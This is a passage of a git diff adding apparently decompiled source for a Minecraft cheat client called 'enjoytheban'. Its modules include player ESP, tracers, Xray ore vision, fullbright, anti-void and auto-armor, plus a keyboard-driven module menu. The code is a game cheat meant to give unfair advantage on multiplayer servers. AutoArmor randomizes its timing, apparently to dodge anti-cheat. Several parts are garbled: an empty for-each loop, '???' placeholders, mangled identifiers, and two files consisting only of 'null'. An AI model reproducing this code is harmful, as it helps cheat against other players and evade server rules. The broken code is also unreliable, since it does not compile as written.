+      (int)(top - mc.fontRendererObj.FONT_HEIGHT - 2.0F + 1.0F), -1);
+    if (((EntityPlayer)entity).getCurrentEquippedItem() != null)
+    {
+      String stack = ((EntityPlayer)entity).getCurrentEquippedItem().getDisplayName();
+      mc.fontRendererObj.drawCenteredString(stack, (int)(left + right) / 2, (int)bottom, -1);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void health(EntityLivingBase entity, float left, float top, float right, float bottom)
+  {
+    float height = bottom - top;
+    
+
+    float currentHealth = entity.getHealth();
+    
+    float maxHealth = entity.getMaxHealth();
+    
+    float healthPercent = currentHealth / maxHealth;
+    
+
+
+    GLUtils.glColor(getHealthColor(entity));
+    
+
+
+    RenderUtil.drawLine(left - 5.0F, top + height * (1.0F - healthPercent) + 1.0F, left - 5.0F, bottom, 2.0F);
+  }
+  
+
+
+
+
+  private int getHealthColor(EntityLivingBase player)
+  {
+    float f = player.getHealth();
+    float f1 = player.getMaxHealth();
+    float f2 = Math.max(0.0F, Math.min(f, f1) / f1);
+    return Color.HSBtoRGB(f2 / 3.0F, 1.0F, 1.0F) | 0xFF000000;
+  }
+  
+  public static enum ESPMode {
+    Outline,  TwoDimensional;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/FullBright.java b/src/minecraft/com/enjoytheban/module/modules/render/FullBright.java
new file mode 100644
index 0000000..259bb2e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/FullBright.java
@@ -0,0 +1,33 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.api.events.world.EventTick;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+
+public class FullBright extends com.enjoytheban.module.Module
+{
+  private float old;
+  
+  public FullBright()
+  {
+    super("FullBright", new String[] { "fbright", "brightness", "bright" }, com.enjoytheban.module.ModuleType.Render);
+    setColor(new Color(244, 255, 149).getRGB());
+  }
+  
+
+
+  public void onEnable()
+  {
+    old = mc.gameSettings.gammaSetting;
+  }
+  
+  @com.enjoytheban.api.EventHandler
+  private void onTick(EventTick e) {
+    mc.gameSettings.gammaSetting = 1.5999999E7F;
+  }
+  
+  public void onDisable()
+  {
+    mc.gameSettings.gammaSetting = old;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/HUD.java b/src/minecraft/com/enjoytheban/module/modules/render/HUD.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/HUD.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/Nametags.java b/src/minecraft/com/enjoytheban/module/modules/render/Nametags.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/Nametags.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/NoRender.java b/src/minecraft/com/enjoytheban/module/modules/render/NoRender.java
new file mode 100644
index 0000000..ac24fd9
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/NoRender.java
@@ -0,0 +1,14 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+
+public class NoRender extends Module
+{
+  public NoRender()
+  {
+    super("NoRender", new String[] { "noitems" }, ModuleType.Render);
+    setColor(new Color(166, 185, 123).getRGB());
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/Tracers.java b/src/minecraft/com/enjoytheban/module/modules/render/Tracers.java
new file mode 100644
index 0000000..5937ec0
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/Tracers.java
@@ -0,0 +1,81 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.rendering.EventRender3D;
+import com.enjoytheban.management.FriendManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.math.MathUtil;
+import com.enjoytheban.utils.render.RenderUtil;
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.EntityRenderer;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.Timer;
+import org.lwjgl.opengl.GL11;
+
+public class Tracers
+  extends Module
+{
+  public Tracers()
+  {
+    super("Tracers", new String[] { "lines", "tracer" }, ModuleType.Render);
+    setColor(new Color(60, 136, 166).getRGB());
+  }
+  
+  @EventHandler
+  private void on3DRender(EventRender3D e)
+  {
+    for (Object o : mc.theWorld.loadedEntityList)
+    {
+      Entity entity = (Entity)o;
+      
+      if ((entity.isEntityAlive()) && ((entity instanceof EntityPlayer)) && (entity != mc.thePlayer)) {
+        double posX = lastTickPosX + (posX - lastTickPosX) * e.getPartialTicks() - 
+          RenderManager.renderPosX;
+        double posY = lastTickPosY + (posY - lastTickPosY) * e.getPartialTicks() - 
+          RenderManager.renderPosY;
+        double posZ = lastTickPosZ + (posZ - lastTickPosZ) * e.getPartialTicks() - 
+          RenderManager.renderPosZ;
+        boolean old = mc.gameSettings.viewBobbing;
+        RenderUtil.startDrawing();
+        mc.gameSettings.viewBobbing = false;
+        mc.entityRenderer.setupCameraTransform(mc.timer.renderPartialTicks, 2);
+        mc.gameSettings.viewBobbing = old;
+        float color = (float)Math.round(255.0D - mc.thePlayer.getDistanceSqToEntity(entity) * 255.0D / 
+          MathUtil.square(mc.gameSettings.renderDistanceChunks * 2.5D)) / 255.0F;
+        drawLine(entity, new double[] { color, 1.0F - color, FriendManager.isFriend(entity.getName()) ? new double[] { 0.0D, 1.0D, 1.0D } : 0.0D }, posX, posY, posZ);
+        RenderUtil.stopDrawing();
+      }
+    }
+  }
+  
+  private void drawLine(Entity entity, double[] color, double x, double y, double z)
+  {
+    float distance = mc.thePlayer.getDistanceToEntity(entity);
+    float xD = distance / 48.0F;
+    if (xD >= 1.0F) xD = 1.0F;
+    boolean entityesp = false;
+    
+    GL11.glEnable(2848);
+    if (color.length >= 4) {
+      if (color[3] <= 0.1D) {
+        return;
+      }
+      GL11.glColor4d(color[0], color[1], color[2], color[3]);
+    } else {
+      GL11.glColor3d(color[0], color[1], color[2]);
+    }
+    GL11.glLineWidth(1.0F);
+    GL11.glBegin(1);
+    GL11.glVertex3d(0.0D, mc.thePlayer.getEyeHeight(), 0.0D);
+    GL11.glVertex3d(x, y, z);
+    GL11.glEnd();
+    GL11.glDisable(2848);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/UI/TabUI.java b/src/minecraft/com/enjoytheban/module/modules/render/UI/TabUI.java
new file mode 100644
index 0000000..a8d0ff2
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/UI/TabUI.java
@@ -0,0 +1,493 @@
+package com.enjoytheban.module.modules.render.UI;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.misc.EventKey;
+import com.enjoytheban.api.events.rendering.EventRender2D;
+import com.enjoytheban.api.value.Mode;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Option;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.management.Manager;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.module.modules.render.HUD;
+import com.enjoytheban.ui.font.CFontRenderer;
+import com.enjoytheban.ui.font.FontLoaders;
+import com.enjoytheban.utils.Helper;
+import com.enjoytheban.utils.math.MathUtil;
+import com.enjoytheban.utils.render.RenderUtil;
+import java.awt.Color;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.Gui;
+import net.minecraft.client.settings.GameSettings;
+
+
+
+
+public class TabUI
+  implements Manager
+{
+  private Section section = Section.TYPES;
+  private ModuleType selectedType = ModuleType.values()[0];
+  
+  private Module selectedModule = null;
+  private Value selectedValue = null;
+  
+  private int currentType = 0; private int currentModule = 0; private int currentValue = 0; private int height = 12;
+  private int maxType;
+  private int maxModule;
+  private int maxValue;
+  
+  public TabUI() {}
+  
+  public void init() {
+    for (ModuleType mt : ) {
+      if (maxType <= mcfontRendererObj.getStringWidth(mt.name().toUpperCase()) + 4)
+      {
+
+        maxType = (mcfontRendererObj.getStringWidth(mt.name().toUpperCase()) + 4);
+      }
+    }
+    Client.instance.getModuleManager(); for (Module m : ModuleManager.getModules()) {
+      if (maxModule <= mcfontRendererObj.getStringWidth(m.getName().toUpperCase()) + 4)
+      {
+
+        maxModule = (mcfontRendererObj.getStringWidth(m.getName().toUpperCase()) + 4);
+      }
+    }
+    Client.instance.getModuleManager(); for (Module m : ModuleManager.getModules()) {
+      if (!m.getValues().isEmpty())
+      {
+
+
+        for (??? = m.getValues().iterator(); ((Iterator)???).hasNext();) { Value val = (Value)((Iterator)???).next();
+          if (maxValue <= mcfontRendererObj.getStringWidth(val.getDisplayName().toUpperCase()) + 4)
+          {
+
+            maxValue = (mcfontRendererObj.getStringWidth(val.getDisplayName().toUpperCase()) + 4); }
+        }
+      }
+    }
+    maxModule += 12;
+    maxValue += 24;
+    int highestWidth = 0;
+    maxType = (maxType < maxModule ? maxModule : maxType);
+    maxModule += maxType;
+    maxValue += maxModule;
+    
+
+    EventBus.getInstance().register(new Object[] { this });
+  }
+  
+  private void resetValuesLength()
+  {
+    maxValue = 0;
+    for (Value val : selectedModule.getValues()) {
+      int off = (val instanceof Option) ? 6 : 
+        mcfontRendererObj.getStringWidth(String.format(" §7%s", new Object[] { val.getValue().toString() })) + 
+        6;
+      if (maxValue <= mcfontRendererObj.getStringWidth(val.getDisplayName().toUpperCase()) + off)
+      {
+
+        maxValue = (mcfontRendererObj.getStringWidth(val.getDisplayName().toUpperCase()) + off); }
+    }
+    maxValue += maxModule;
+  }
+  
+  @EventHandler
+  private void renderTabGUI(EventRender2D e)
+  {
+    CFontRenderer font = FontLoaders.kiona18;
+    
+    if (HUD.useFont) {
+      if ((!mcgameSettings.showDebugInfo) && 
+        (Client.instance.getModuleManager().getModuleByClass(HUD.class).isEnabled()))
+      {
+        int categoryY;
+        
+        int moduleY = categoryY = HUD.shouldMove ? 26 : height;
+        int valueY = categoryY;
+        
+
+        RenderUtil.drawBorderedRect(2.0F, categoryY, maxType - 25, 
+          categoryY + 12 * ModuleType.values().length, 2.0F, new Color(0, 0, 0, 130).getRGB(), 
+          new Color(0, 0, 0, 180).getRGB());
+        
+
+        ModuleType[] moduleArray = ModuleType.values();
+        int mA = moduleArray.length;
+        int mA2 = 0;
+        while (mA2 < mA) {
+          ModuleType mt = moduleArray[mA2];
+          if (selectedType == mt)
+          {
+            Gui.drawRect(2.5D, categoryY + 0.5D, maxType - 25.5D, 
+              categoryY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+              new Color(102, 172, 255).getRGB());
+            moduleY = categoryY;
+          }
+          
+          if (selectedType == mt) {
+            font.drawStringWithShadow(mt.name(), 7.0D, categoryY + 3, -1);
+          } else {
+            font.drawStringWithShadow(mt.name(), 5.0D, categoryY + 3, new Color(180, 180, 180).getRGB());
+          }
+          categoryY += 12;
+          mA2++;
+        }
+        
+        if ((section == Section.MODULES) || (section == Section.VALUES))
+        {
+          RenderUtil.drawBorderedRect(maxType - 20, moduleY, maxModule - 38, 
+            moduleY + 12 * 
+            Client.instance.getModuleManager().getModulesInType(selectedType).size(), 
+            2.0F, new Color(0, 0, 0, 130).getRGB(), new Color(0, 0, 0, 180).getRGB());
+          
+          for (Module m : Client.instance.getModuleManager().getModulesInType(selectedType)) {
+            if (selectedModule == m) {
+              Gui.drawRect(maxType - 19.5D, moduleY + 0.5D, maxModule - 38.5D, 
+                moduleY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+                new Color(102, 172, 255).getRGB());
+              valueY = moduleY;
+            }
+            
+            if (selectedModule == m) {
+              font.drawStringWithShadow(m.getName(), maxType - 15, moduleY + 3, 
+                m.isEnabled() ? -1 : 11184810);
+            } else {
+              font.drawStringWithShadow(m.getName(), maxType - 17, moduleY + 3, 
+                m.isEnabled() ? -1 : 11184810);
+            }
+            
+            if (!m.getValues().isEmpty()) {
+              Gui.drawRect(maxModule - 38, moduleY + 0.5D, maxModule - 39, 
+                moduleY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+                new Color(153, 200, 255).getRGB());
+              
+              if ((section == Section.VALUES) && (selectedModule == m)) {
+                RenderUtil.drawBorderedRect(maxModule - 32, valueY, maxValue - 25, 
+                  valueY + 12 * selectedModule.getValues().size(), 2.0F, 
+                  new Color(10, 10, 10, 180).getRGB(), new Color(10, 10, 10, 180).getRGB());
+                
+                for (Value val : selectedModule.getValues()) {
+                  Gui.drawRect(maxModule - 31.5D, valueY + 0.5D, maxValue - 25.5D, 
+                    valueY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+                    selectedValue == val ? new Color(102, 172, 255).getRGB() : 0);
+                  if ((val instanceof Option)) {
+                    font.drawStringWithShadow(val.getDisplayName(), 
+                      selectedValue == val ? maxModule - 27 : maxModule - 29, 
+                      valueY + 3, 
+                      ((Boolean)val.getValue()).booleanValue() ? new Color(153, 200, 255).getRGB() : 
+                      11184810);
+                  } else {
+                    String toRender = String.format("%s: §7%s", new Object[] { val.getDisplayName(), 
+                      val.getValue().toString() });
+                    
+                    if (selectedValue == val)
+                    {
+                      font.drawStringWithShadow(toRender, maxModule - 27, valueY + 3, -1);
+                    } else {
+                      font.drawStringWithShadow(toRender, maxModule - 29, valueY + 3, -1);
+                    }
+                  }
+                  valueY += 12;
+                }
+              }
+            }
+            moduleY += 12;
+          }
+        }
+      }
+    }
+    else if ((!mcgameSettings.showDebugInfo) && 
+      (Client.instance.getModuleManager().getModuleByClass(HUD.class).isEnabled()))
+    {
+      int categoryY;
+      
+      int moduleY = categoryY = HUD.shouldMove ? 26 : height;
+      int valueY = categoryY;
+      
+
+      RenderUtil.drawBorderedRect(2.0F, categoryY, maxType - 25, 
+        categoryY + 12 * ModuleType.values().length, 2.0F, new Color(0, 0, 0, 130).getRGB(), 
+        new Color(0, 0, 0, 180).getRGB());
+      
+
+      ModuleType[] moduleArray = ModuleType.values();
+      int mA = moduleArray.length;
+      int mA2 = 0;
+      while (mA2 < mA) {
+        ModuleType mt = moduleArray[mA2];
+        if (selectedType == mt)
+        {
+          Gui.drawRect(2.5D, categoryY + 0.5D, maxType - 25.5D, 
+            categoryY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+            new Color(102, 172, 255).getRGB());
+          moduleY = categoryY;
+        }
+        
+        if (selectedType == mt) {
+          mcfontRendererObj.drawStringWithShadow(mt.name(), 7.0F, categoryY + 2, -1);
+        } else {
+          mcfontRendererObj.drawStringWithShadow(mt.name(), 5.0F, categoryY + 2, 
+            new Color(180, 180, 180).getRGB());
+        }
+        categoryY += 12;
+        mA2++;
+      }
+      
+      if ((section == Section.MODULES) || (section == Section.VALUES))
+      {
+        RenderUtil.drawBorderedRect(maxType - 20, moduleY, maxModule - 38, 
+          moduleY + 12 * 
+          Client.instance.getModuleManager().getModulesInType(selectedType).size(), 
+          2.0F, new Color(0, 0, 0, 130).getRGB(), new Color(0, 0, 0, 180).getRGB());
+        
+        for (Module m : Client.instance.getModuleManager().getModulesInType(selectedType)) {
+          if (selectedModule == m) {
+            Gui.drawRect(maxType - 19.5D, moduleY + 0.5D, maxModule - 38.5D, 
+              moduleY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+              new Color(102, 172, 255).getRGB());
+            valueY = moduleY;
+          }
+          
+          if (selectedModule == m) {
+            mcfontRendererObj.drawStringWithShadow(m.getName(), maxType - 15, moduleY + 2, 
+              m.isEnabled() ? -1 : 11184810);
+          } else {
+            mcfontRendererObj.drawStringWithShadow(m.getName(), maxType - 17, moduleY + 2, 
+              m.isEnabled() ? -1 : 11184810);
+          }
+          
+          if (!m.getValues().isEmpty()) {
+            Gui.drawRect(maxModule - 38, moduleY + 0.5D, maxModule - 39, 
+              moduleY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+              new Color(153, 200, 255).getRGB());
+            
+            if ((section == Section.VALUES) && (selectedModule == m)) {
+              RenderUtil.drawBorderedRect(maxModule - 32, valueY, maxValue - 25, 
+                valueY + 12 * selectedModule.getValues().size(), 2.0F, 
+                new Color(10, 10, 10, 180).getRGB(), new Color(10, 10, 10, 180).getRGB());
+              
+              for (Value val : selectedModule.getValues()) {
+                Gui.drawRect(maxModule - 31.5D, valueY + 0.5D, maxValue - 25.5D, 
+                  valueY + mcfontRendererObj.FONT_HEIGHT + 2.5D, 
+                  selectedValue == val ? new Color(102, 172, 255).getRGB() : 0);
+                if ((val instanceof Option)) {
+                  mcfontRendererObj.drawStringWithShadow(val.getDisplayName(), 
+                    selectedValue == val ? maxModule - 27 : maxModule - 29, 
+                    valueY + 2, 
+                    ((Boolean)val.getValue()).booleanValue() ? new Color(153, 200, 255).getRGB() : 
+                    11184810);
+                } else {
+                  String toRender = String.format("%s: §7%s", new Object[] { val.getDisplayName(), 
+                    val.getValue().toString() });
+                  
+                  if (selectedValue == val)
+                  {
+                    mcfontRendererObj.drawStringWithShadow(toRender, 
+                      maxModule - 27, valueY + 2, -1);
+                  } else {
+                    mcfontRendererObj.drawStringWithShadow(toRender, 
+                      maxModule - 29, valueY + 2, -1);
+                  }
+                }
+                valueY += 12;
+              }
+            }
+          }
+          moduleY += 12;
+        }
+      }
+    }
+  }
+  
+
+  @EventHandler
+  private void onKey(EventKey e)
+  {
+    if (!mcgameSettings.showDebugInfo) {
+      switch (e.getKey()) {
+      case 208: 
+        switch (section) {
+        case MODULES: 
+          currentType += 1;
+          if (currentType > ModuleType.values().length - 1) {
+            currentType = 0;
+          }
+          selectedType = ModuleType.values()[currentType];
+          break;
+        
+        case TYPES: 
+          currentModule += 1;
+          
+          if (currentModule > Client.instance.getModuleManager().getModulesInType(selectedType).size() - 1) {
+            currentModule = 0;
+          }
+          selectedModule = 
+            ((Module)Client.instance.getModuleManager().getModulesInType(selectedType).get(currentModule));
+          break;
+        
+        case VALUES: 
+          currentValue += 1;
+          if (currentValue > selectedModule.getValues().size() - 1) {
+            currentValue = 0;
+          }
+          selectedValue = ((Value)selectedModule.getValues().get(currentValue));
+        }
+        
+        break;
+      
+      case 200: 
+        switch (section) {
+        case MODULES: 
+          currentType -= 1;
+          if (currentType < 0) {
+            currentType = (ModuleType.values().length - 1);
+          }
+          selectedType = ModuleType.values()[currentType];
+          break;
+        
+        case TYPES: 
+          currentModule -= 1;
+          if (currentModule < 0) {
+            currentModule = 
+              (Client.instance.getModuleManager().getModulesInType(selectedType).size() - 1);
+          }
+          selectedModule = 
+            ((Module)Client.instance.getModuleManager().getModulesInType(selectedType).get(currentModule));
+          break;
+        
+        case VALUES: 
+          currentValue -= 1;
+          if (currentValue < 0) {
+            currentValue = (selectedModule.getValues().size() - 1);
+          }
+          selectedValue = ((Value)selectedModule.getValues().get(currentValue));
+        }
+        
+        break;
+      
+      case 205: 
+        switch (section) {
+        case MODULES: 
+          currentModule = 0;
+          selectedModule = 
+            ((Module)Client.instance.getModuleManager().getModulesInType(selectedType).get(currentModule));
+          section = Section.MODULES;
+          break;
+        
+        case TYPES: 
+          if (!selectedModule.getValues().isEmpty()) {
+            resetValuesLength();
+            currentValue = 0;
+            selectedValue = ((Value)selectedModule.getValues().get(currentValue));
+            section = Section.VALUES;
+          }
+          break;
+        
+        case VALUES: 
+          if (!Helper.onServer("enjoytheban")) {
+            if ((selectedValue instanceof Option)) {
+              selectedValue.setValue(Boolean.valueOf(!((Boolean)selectedValue.getValue()).booleanValue()));
+            } else if ((selectedValue instanceof Numbers)) {
+              Numbers value = (Numbers)selectedValue;
+              double inc = ((Double)value.getValue()).doubleValue();
+              inc += ((Double)value.getIncrement()).doubleValue();
+              inc = MathUtil.toDecimalLength(inc, 1);
+              if (inc > ((Double)value.getMaximum()).doubleValue()) {
+                inc = ((Double)((Numbers)selectedValue).getMinimum()).doubleValue();
+              }
+              selectedValue.setValue(Double.valueOf(inc));
+            } else if ((selectedValue instanceof Mode)) {
+              Mode theme = (Mode)selectedValue;
+              Enum current = (Enum)theme.getValue();
+              int next = current.ordinal() + 1 >= theme.getModes().length ? 0 : current.ordinal() + 1;
+              selectedValue.setValue(theme.getModes()[next]);
+            }
+            resetValuesLength();
+          }
+          break;
+        }
+        break;
+      
+      case 28: 
+        switch (section)
+        {
+        case MODULES: 
+          break;
+        case TYPES: 
+          selectedModule.setEnabled(!selectedModule.isEnabled());
+          break;
+        
+        case VALUES: 
+          section = Section.MODULES;
+        }
+        
+        break;
+      
+      case 203: 
+        switch (section)
+        {
+        case MODULES: 
+          break;
+        case TYPES: 
+          section = Section.TYPES;
+          currentModule = 0;
+          break;
+        
+        case VALUES: 
+          if (!Helper.onServer("enjoytheban")) { Enum current;
+            if ((selectedValue instanceof Option)) {
+              selectedValue.setValue(Boolean.valueOf(!((Boolean)selectedValue.getValue()).booleanValue()));
+
+            }
+            else if ((selectedValue instanceof Numbers)) {
+              Numbers value = (Numbers)selectedValue;
+              double inc = ((Double)value.getValue()).doubleValue();
+              inc -= ((Double)value.getIncrement()).doubleValue();
+              inc = MathUtil.toDecimalLength(inc, 1);
+              if (inc < ((Double)value.getMinimum()).doubleValue()) {
+                inc = ((Double)((Numbers)selectedValue).getMaximum()).doubleValue();
+              }
+              selectedValue.setValue(Double.valueOf(inc));
+
+            }
+            else if ((selectedValue instanceof Mode)) {
+              Mode theme = (Mode)selectedValue;
+              current = (Enum)theme.getValue();
+              int next = current.ordinal() - 1 < 0 ? theme.getModes().length - 1 : current.ordinal() - 1;
+              selectedValue.setValue(theme.getModes()[next]);
+            }
+            maxValue = 0;
+            for (Value val : selectedModule.getValues()) {
+              int off = (val instanceof Option) ? 6 : 
+                getMinecraftfontRendererObj
+                .getStringWidth(String.format(" §7%s", new Object[] { val.getValue().toString() })) + 6;
+              
+              if (maxValue <= getMinecraftfontRendererObj.getStringWidth(val.getDisplayName().toUpperCase()) + off)
+              {
+
+                maxValue = 
+                  (getMinecraftfontRendererObj.getStringWidth(val.getDisplayName().toUpperCase()) + off); }
+            }
+            maxValue += maxModule;
+          }
+          break;
+        }
+        break;
+      }
+    }
+  }
+  
+  public static enum Section
+  {
+    TYPES,  MODULES,  VALUES;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/render/Xray.java b/src/minecraft/com/enjoytheban/module/modules/render/Xray.java
new file mode 100644
index 0000000..19092f2
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/render/Xray.java
@@ -0,0 +1,38 @@
+package com.enjoytheban.module.modules.render;
+
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.RenderGlobal;
+
+public class Xray extends Module
+{
+  public List<Integer> blocks = new java.util.ArrayList();
+  
+  public Xray() {
+    super("Xray", new String[] { "xrai", "oreesp" }, ModuleType.Render);
+    setColor(Color.GREEN.getRGB());
+    blocks.add(Integer.valueOf(16));
+    blocks.add(Integer.valueOf(56));
+    blocks.add(Integer.valueOf(14));
+    blocks.add(Integer.valueOf(15));
+    blocks.add(Integer.valueOf(129));
+    blocks.add(Integer.valueOf(73));
+  }
+  
+  public void onEnable()
+  {
+    mc.renderGlobal.loadRenderers();
+  }
+  
+  public void onDisable()
+  {
+    mc.renderGlobal.loadRenderers();
+  }
+  
+  public List<Integer> getBlocks() {
+    return blocks;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/AntiVoid.java b/src/minecraft/com/enjoytheban/module/modules/world/AntiVoid.java
new file mode 100644
index 0000000..1aaa856
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/AntiVoid.java
@@ -0,0 +1,44 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import java.awt.Color;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.util.BlockPos;
+
+public class AntiVoid extends Module
+{
+  public AntiVoid()
+  {
+    super("AntiVoid", new String[] { "novoid", "antifall" }, ModuleType.World);
+    setColor(new Color(223, 233, 233).getRGB());
+  }
+  
+  @com.enjoytheban.api.EventHandler
+  private void onUpdate(EventPreUpdate e)
+  {
+    boolean blockUnderneath = false;
+    
+    for (int i = 0; i < mc.thePlayer.posY + 2.0D; i++) {
+      BlockPos pos = new BlockPos(mc.thePlayer.posX, i, mc.thePlayer.posZ);
+      
+      if (!(mc.theWorld.getBlockState(pos).getBlock() instanceof net.minecraft.block.BlockAir))
+      {
+
+        blockUnderneath = true;
+      }
+    }
+    if (blockUnderneath) {
+      return;
+    }
+    if (mc.thePlayer.fallDistance < 2.0F) {
+      return;
+    }
+    if ((!mc.thePlayer.onGround) && (!mc.thePlayer.isCollidedVertically)) {
+      mc.thePlayer.motionY += 0.07D;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/module/modules/world/AutoArmor.java b/src/minecraft/com/enjoytheban/module/modules/world/AutoArmor.java
new file mode 100644
index 0000000..39410b0
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/module/modules/world/AutoArmor.java
@@ -0,0 +1,148 @@
+package com.enjoytheban.module.modules.world;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventPreUpdate;
+import com.enjoytheban.api.value.Numbers;
+import com.enjoytheban.api.value.Value;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.ModuleType;
+import com.enjoytheban.utils.TimerUtil;
+import java.awt.Color;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.Slot;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemStack;
+
+public class AutoArmor
+  extends Module
+{
+  private Numbers<Double> delay = new Numbers("Delay", "delay", Double.valueOf(50.0D), Double.valueOf(0.0D), Double.valueOf(1000.0D), Double.valueOf(10.0D));
+  
+  private TimerUtil timer = new TimerUtil();
+  
+
+  private int[] boots = { 313, 309, 317, 305, 301 };
+  private int[] chestplate = { 311, 307, 315, 303, 299 };
+  private int[] helmet = { 310, 306, 314, 302, 298 };
+  private int[] leggings = { 312, 308, 316, 304, 300 };
+  
+
+  private int slot = 5;
+  private double enchantmentValue = -1.0D;
+  private double protectionValue;
+  private int item = -1;
+  
+  public AutoArmor() {
+    super("AutoArmor", new String[] { "armorswap", "autoarmour" }, ModuleType.World);
+    addValues(new Value[] { delay });
+    setColor(new Color(27, 104, 204).getRGB());
+  }
+  
+  @EventHandler
+  private void onPre(EventPreUpdate e) {
+    if (e.getType() == 0) {
+      if ((mc.thePlayer.capabilities.isCreativeMode) || (
+        (mc.thePlayer.openContainer != null) && (mc.thePlayer.openContainer.windowId != 0))) {
+        return;
+      }
+      
+
+      if (timer.hasReached(((Double)delay.getValue()).doubleValue() + new Random().nextInt(4))) {
+        enchantmentValue = -1.0D;
+        item = -1;
+        for (int i = 9; i < 45; i++) {
+          if ((mc.thePlayer.inventoryContainer.getSlot(i).getStack() != null) && 
+            (canEquip(mc.thePlayer.inventoryContainer.getSlot(i).getStack()) != -1) && 
+            (canEquip(mc.thePlayer.inventoryContainer.getSlot(i).getStack()) == slot)) {
+            change(slot, i);
+          }
+        }
+        if (item != -1) {
+          if (mc.thePlayer.inventoryContainer.getSlot(item).getStack() != null)
+            mc.playerController.windowClick(0, slot, 0, 1, mc.thePlayer);
+          mc.playerController.windowClick(0, item, 0, 1, mc.thePlayer);
+        }
+        
+        if (slot == 8) {
+          slot = 5;
+        } else {
+          slot += 1;
+        }
+        timer.reset();
+      }
+    }
+  }
+  
+  private int canEquip(ItemStack stack)
+  {
+    for (int id : boots) {
+      stack.getItem(); if (Item.getIdFromItem(stack.getItem()) == id)
+        return 8;
+    }
+    for (int id : leggings) {
+      stack.getItem(); if (Item.getIdFromItem(stack.getItem()) == id)
+        return 7;
+    }
+    for (int id : chestplate) {
+      stack.getItem(); if (Item.getIdFromItem(stack.getItem()) == id)
+        return 6;
+    }
+    for (int id : helmet) {
+      stack.getItem(); if (Item.getIdFromItem(stack.getItem()) == id)
+        return 5;
+    }
+    return -1;
+  }
+  
+  private void change(int numy, int i)
+  {
+    if (enchantmentValue == -1.0D) {
+      if (mc.thePlayer.inventoryContainer.getSlot(numy).getStack() != null) {
+        protectionValue = getProtValue(mc.thePlayer.inventoryContainer.getSlot(numy).getStack());
+      } else
+        protectionValue = enchantmentValue;
+    } else {
+      protectionValue = enchantmentValue;
+    }
+    
+    if (protectionValue <= getProtValue(mc.thePlayer.inventoryContainer.getSlot(i).getStack())) {
+      if (protectionValue == getProtValue(mc.thePlayer.inventoryContainer.getSlot(i).getStack())) {
+        int currentD = mc.thePlayer.inventoryContainer.getSlot(numy).getStack() != null ? 
